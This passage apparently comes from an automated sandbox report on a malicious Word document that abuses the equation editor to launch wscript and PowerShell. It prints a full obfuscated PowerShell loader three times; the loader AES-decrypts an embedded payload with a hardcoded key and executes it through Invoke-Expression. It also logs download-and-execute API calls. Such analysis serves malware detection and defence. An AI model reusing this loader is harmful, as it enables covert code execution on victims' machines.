3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Suspicious powershell command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041CB50
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0032682F push esp; iretd 2_2_00326831
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0031C318 push A00031C4h; ret 2_2_0031C3F5
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_00326306 push ebp; ret 2_2_00326307
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0032630C push ebp; ret 2_2_0032630F
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0031C3A4 push A00031C4h; ret 2_2_0031C3F5
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_003101F4 push eax; retf 2_2_003101F5
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0031C2DC pushad ; retn 0031h2_2_0031C2DD
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00457106 push ecx; ret 8_2_00457119
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0045B11A push esp; ret 8_2_0045B141
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0045E54D push esi; ret 8_2_0045E556
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00457A28 push eax; ret 8_2_00457A46
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00434E56 push ecx; ret 8_2_00434E69
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00406EB0 ShellExecuteW,URLDownloadToFileW,8_2_00406EB0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,8_2_0041AA4A
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041CB50
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
